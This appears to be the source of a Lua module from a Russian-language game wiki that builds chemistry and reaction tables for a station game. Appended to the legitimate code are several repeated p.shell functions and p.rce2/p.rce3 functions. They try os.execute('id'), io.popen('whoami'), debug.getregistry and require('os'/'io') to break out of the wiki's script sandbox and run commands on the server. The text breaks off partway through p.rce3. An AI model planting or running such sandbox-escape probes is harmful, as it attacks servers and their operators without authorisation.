			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
